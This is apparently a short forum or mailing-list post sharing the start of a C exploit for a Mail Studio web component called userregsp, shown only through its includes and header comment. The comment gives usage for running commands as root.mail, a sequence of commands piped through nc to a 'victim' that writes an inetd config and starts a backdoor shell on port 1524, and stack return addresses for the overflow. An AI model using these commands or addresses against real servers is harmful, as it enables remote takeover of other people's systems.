yup. If someone is curious how, here's what we have written while ago.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

/* http://www.mailstudio.com
 * executes command as root.mail
 * usage: userregsp [-s retaddr] [-a shellcodeoffset] [-o offset]
 *  [-c command]  | nc <host> <port>
 *
 * problems:
 * usually commandline gets truncated after 42 characters.
 * sometimes shellcode might be damaged, to get around this you'd have to split
 * command into few parts or move shellcode on different place. (-a argument)
 *
 * f.e.
 * ./userregsp "echo -n 1524 stream tcp nowait r>>/tmp/.o" | nc victim 8080
 * ./userregsp "echo oot /bin/sh sh -i >>/tmp/.o" | nc victim 8080
 * ./userregsp "/usr/sbin/inetd /tmp/.o" | nc victim 8080
 * telnet victim 1524
 *
 *
 * Here I found possible stack addresses which might be of some help:
 * 0xbfffe6a4 -- when correct `Referer: ....' header has been passed
 * 0xbfffe578 -- when incorrect `Referer: ..' header has been passed
 * 0xbfffe598 -- when `Referer: ..' header is not present.
 *  ...
